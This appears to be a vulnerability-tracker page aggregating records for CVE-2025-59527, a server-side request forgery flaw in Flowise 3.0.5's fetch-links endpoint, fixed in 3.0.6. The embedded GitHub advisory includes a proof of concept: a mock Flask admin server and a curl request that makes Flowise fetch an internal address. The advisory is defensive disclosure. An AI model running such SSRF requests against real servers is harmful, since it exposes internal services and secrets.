CVE-2025-59527 (GCVE-0-2025-59527)
Vulnerability from cvelistv5 – Published: 2025-09-22 19:48 – Updated: 2025-09-22 20:25
VLAI
EPSS
VEX
Title
FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability
Summary
Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, a Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. This issue has been patched in version 3.0.6.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-09-22 20:25 UTC
CWE
- CWE-918 - Server-Side Request Forgery (SSRF)
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/FlowiseAI/Flowise/security/adv… | x_refsource_CONFIRM |
| https://github.com/FlowiseAI/Flowise/blob/5930f11… | x_refsource_MISC |
| https://github.com/FlowiseAI/Flowise/blob/5930f11… | x_refsource_MISC |
| https://github.com/FlowiseAI/Flowise/blob/5930f11… | x_refsource_MISC |
| https://github.com/FlowiseAI/Flowise/releases/tag… | x_refsource_MISC |
Impacted products
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BDU:2026-03236 (CVE-2025-59527)
Vulnerability from fstec – Published: 2026-03-17 – Updated: 2026-03-20 – View on bdu.fstec.ru Exploit publicly available Fixed
VLAI
Title
Уязвимость интерфейса v1/fetch-links программной платформы для создания пользовательских интерфейсов поверх языковых моделей (LLM) Flowise, позволяющая нарушителю осуществить SSRF-атаку
Summary
Уязвимость интерфейса v1/fetch-links программной платформы для создания пользовательских интерфейсов поверх языковых моделей (LLM) Flowise связана с недостаточной проверкой запросов на стороне сервера. Эксплуатация уязвимости может позволить нарушителю, действующему удаленно, осуществить SSRF-атаку
Severity
Class
Architecture vulnerability
Status
Confirmed by the vendor
Exploitation
Spoofing
Incidents
Being clarified
Remediation
Software update
CWE
- CWE-918 - Серверная фальсификация запросов
Aliases
References
Impacted products
1 product
from 1 vendor
Vendors
Flowise AI
Products
Flowise
Versions
3.0.5 (Flowise)
Product types
AI development software
Mitigations
Использование рекомендаций производителя:
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hr92-4q35-4j3m
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"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "Flowise",
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": null,
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 v1/fetch-links \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u0432 \u043f\u043e\u0432\u0435\u0440\u0445 \u044f\u0437\u044b\u043a\u043e\u0432\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 (LLM) Flowise, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c SSRF-\u0430\u0442\u0430\u043a\u0443",
"\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0444\u0430\u043b\u044c\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 (CWE-918)",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 v1/fetch-links \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u0432 \u043f\u043e\u0432\u0435\u0440\u0445 \u044f\u0437\u044b\u043a\u043e\u0432\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 (LLM) Flowise \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c SSRF-\u0430\u0442\u0430\u043a\u0443",
"\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
"\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
"\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
"\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u043f\u0440\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438",
"\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hr92-4q35-4j3m\nhttps://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6",
"\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
"\u0422\u0438\u043f \u041f\u041e": "\u041f\u041e \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0418\u0418",
"\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-918",
"\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,8)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7,5)"
}
FKIE_CVE-2025-59527
Vulnerability from fkie_nvd - Published: 2025-09-22 20:15 - Updated: 2026-09-30 17:10
Severity
Summary
Flowise is a drag & drop user interface to build a customized large language model flow. In version 3.0.5, a Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. This issue has been patched in version 3.0.6.
References
{
"affected": [
{
"affectedData": [
{
"product": "Flowise",
"vendor": "FlowiseAI",
"versions": [
{
"status": "affected",
"version": "= 3.0.5"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:flowiseai:flowise:3.0.5:*:*:*:*:*:*:*",
"matchCriteriaId": "D5D151AD-7484-4BE3-B42F-7D0279B5E886",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. In version 3.0.5, a Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. This issue has been patched in version 3.0.6."
},
{
"lang": "es",
"value": "Flowise es una interfaz de usuario de arrastrar y soltar para construir un flujo de modelo de lenguaje grande personalizado. En la versi\u00f3n 3.0.5, fue descubierta una vulnerabilidad de falsificaci\u00f3n de petici\u00f3n del lado del servidor (SSRF) en el endpoint /api/v1/fetch-links de la aplicaci\u00f3n Flowise. Esta vulnerabilidad permite a un atacante utilizar el servidor Flowise como un proxy para acceder a servicios web de la red interna y explorar sus estructuras de enlaces. Este problema ha sido parcheado en la versi\u00f3n 3.0.6."
}
],
"id": "CVE-2025-59527",
"lastModified": "2026-09-30T17:10:00.187",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2025-59527",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-09-22T20:25:46.315263Z",
"version": "2.0.3"
}
}
]
},
"published": "2025-09-22T20:15:39.387",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Product"
],
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478"
},
{
"source": "security-advisories@github.com",
"tags": [
"Product"
],
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24"
},
{
"source": "security-advisories@github.com",
"tags": [
"Product"
],
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hr92-4q35-4j3m"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-918"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-HR92-4Q35-4J3M
Vulnerability from github – Published: 2025-09-15 19:53 – Updated: 2025-09-22 21:58
VLAI
Summary
FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability
Details
Summary
A Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.
Details
Vulnerability Overview
The fetch-links feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.
The issue arises because the feature performs these HTTP requests without validating the user-supplied URL. In particular, when the relativeLinksMethod parameter is set to webCrawl or xmlScrape, the server directly calls the fetch() function with the provided URL, making it vulnerable to SSRF attacks.
Root Cause
The fetch() function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.
Taint Flow
• Taint 01: Route Registration
https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24
• Taint 02: Service
https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18
• Taint 03: xmlScrape
https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478
PoC
PoC Description
This vulnerability was verified in a local development environment. The Flowise server was running at http://localhost:3000, and authentication was performed using the Bearer token:
tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q
Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:
/api/users(User Management)/api/secrets(API Keys)/api/database(Database Config)
This demonstrated that an attacker could enumerate internal web service structures.
Internal Admin Server (Mock)
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/')
def admin():
return render_template_string("""
<html>
<h1>Internal Admin Panel</h1>
<ul>
<li><a href="/api/users">User Management</a></li>
<li><a href="/api/secrets">API Keys</a></li>
<li><a href="/api/database">Database Config</a></li>
<li><a href="/api/logs">System Logs</a></li>
</ul>
""")
@app.route('/api/users')
def users():
return render_template_string("""
<html>
<h1>Users</h1>
<ul>
<li><a href="/api/users/admin">admin (root)</a></li>
<li><a href="/api/users/operator">operator</a></li>
</ul>
<a href="/">Back</a>
""")
@app.route('/api/secrets')
def secrets():
return render_template_string("""
<html>
<h1>Secrets</h1>
<ul>
<li><a href="/api/secrets/db_key">DB Key: sk-1234567890abcdef</a></li>
<li><a href="/api/secrets/aws_key">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li>
</ul>
<a href="/">Back</a>
""")
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8080)
curl Request Example
curl -G 'http://localhost:3000/api/v1/fetch-links' \
--data-urlencode 'url=http://127.0.0.1:8080/' \
--data-urlencode 'relativeLinksMethod=webCrawl' \
--data-urlencode 'limit=10' \
-H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \
-s | jq '.'
Impact
This is a Server-Side Request Forgery (SSRF) vulnerability.
- Who is impacted? Any user running Flowise server exposed to external traffic.
- Risk: Attackers can leverage the Flowise server to:
- Explore internal web applications
- Bypass firewall rules
- Access sensitive administrative interfaces
- Leak internal configuration, credentials, or secrets
This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in an enterprise environment.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.5"
},
{
"fixed": "3.0.6"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.0.5"
]
}
],
"aliases": [
"CVE-2025-59527"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-15T19:53:46Z",
"nvd_published_at": "2025-09-22T20:15:39Z",
"severity": "HIGH"
},
"details": "### Summary\n---\n\nA Server-Side Request Forgery (SSRF) vulnerability was discovered in the `/api/v1/fetch-links` endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.\n\n\n### Details\n---\n\n#### Vulnerability Overview\n\nThe `fetch-links` feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.\n\nThe issue arises because the feature performs these HTTP requests **without validating the user-supplied URL**. In particular, when the `relativeLinksMethod` parameter is set to `webCrawl` or `xmlScrape`, the server directly calls the `fetch()` function with the provided URL, making it vulnerable to SSRF attacks.\n\n#### Root Cause\n\nThe `fetch()` function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.\n\n\n### Taint Flow\n\n#### \u2022 Taint 01: Route Registration\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24\n\n#### \u2022 Taint 02: Service\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18\n\n#### \u2022 Taint 03: xmlScrape\n\nhttps://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478\n\n\n### PoC\n---\n\n#### PoC Description\n\nThis vulnerability was verified in a local development environment. The Flowise server was running at `http://localhost:3000`, and authentication was performed using the Bearer token:\n\n```\ntmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q\n```\n\nUpon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:\n\n- `/api/users` (User Management)\n- `/api/secrets` (API Keys)\n- `/api/database` (Database Config)\n\nThis demonstrated that an attacker could enumerate internal web service structures.\n\n#### Internal Admin Server (Mock)\n\n```python\nfrom flask import Flask, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\u0027/\u0027)\ndef admin():\n return render_template_string(\"\"\"\n \u003chtml\u003e\n \u003ch1\u003eInternal Admin Panel\u003c/h1\u003e\n \u003cul\u003e\n \u003cli\u003e\u003ca href=\"/api/users\"\u003eUser Management\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e\u003ca href=\"/api/secrets\"\u003eAPI Keys\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e\u003ca href=\"/api/database\"\u003eDatabase Config\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e\u003ca href=\"/api/logs\"\u003eSystem Logs\u003c/a\u003e\u003c/li\u003e\n \u003c/ul\u003e\n \"\"\")\n\n@app.route(\u0027/api/users\u0027)\ndef users():\n return render_template_string(\"\"\"\n \u003chtml\u003e\n \u003ch1\u003eUsers\u003c/h1\u003e\n \u003cul\u003e\n \u003cli\u003e\u003ca href=\"/api/users/admin\"\u003eadmin (root)\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e\u003ca href=\"/api/users/operator\"\u003eoperator\u003c/a\u003e\u003c/li\u003e\n \u003c/ul\u003e\n \u003ca href=\"/\"\u003eBack\u003c/a\u003e\n \"\"\")\n\n@app.route(\u0027/api/secrets\u0027)\ndef secrets():\n return render_template_string(\"\"\"\n \u003chtml\u003e\n \u003ch1\u003eSecrets\u003c/h1\u003e\n \u003cul\u003e\n \u003cli\u003e\u003ca href=\"/api/secrets/db_key\"\u003eDB Key: sk-1234567890abcdef\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e\u003ca href=\"/api/secrets/aws_key\"\u003eAWS Key: AKIAIOSFODNN7EXAMPLE\u003c/a\u003e\u003c/li\u003e\n \u003c/ul\u003e\n \u003ca href=\"/\"\u003eBack\u003c/a\u003e\n \"\"\")\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\u0027127.0.0.1\u0027, port=8080)\n```\n\n#### curl Request Example\n\n```bash\ncurl -G \u0027http://localhost:3000/api/v1/fetch-links\u0027 \\\n --data-urlencode \u0027url=http://127.0.0.1:8080/\u0027 \\\n --data-urlencode \u0027relativeLinksMethod=webCrawl\u0027 \\\n --data-urlencode \u0027limit=10\u0027 \\\n -H \u0027Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q\u0027 \\\n -s | jq \u0027.\u0027\n```\n\u003cimg width=\"1914\" height=\"952\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6cb1abb1-0a31-43d4-8d9e-8d45f58051f3\" /\u003e\n\n\n### Impact\n---\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability.\n\n- **Who is impacted?** Any user running Flowise server exposed to external traffic.\n- **Risk:** Attackers can leverage the Flowise server to:\n - Explore internal web applications\n - Bypass firewall rules\n - Access sensitive administrative interfaces\n - Leak internal configuration, credentials, or secrets\n\nThis vulnerability significantly increases the risk of **internal service enumeration and potential lateral movement** in an enterprise environment.",
"id": "GHSA-hr92-4q35-4j3m",
"modified": "2025-09-22T21:58:31Z",
"published": "2025-09-15T19:53:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hr92-4q35-4j3m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59527"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability"
}
WID-SEC-W-2025-2105
Vulnerability from csaf_certbund - Published: 2025-09-22 22:00 - Updated: 2025-09-22 22:00Summary
Flowise: Mehrere Schwachstellen
Severity
Kritisch
Scope
3 vulnerabilities in this advisory, including CVE-2025-59527.
CVE-2025-59527
Known affected: 1 product
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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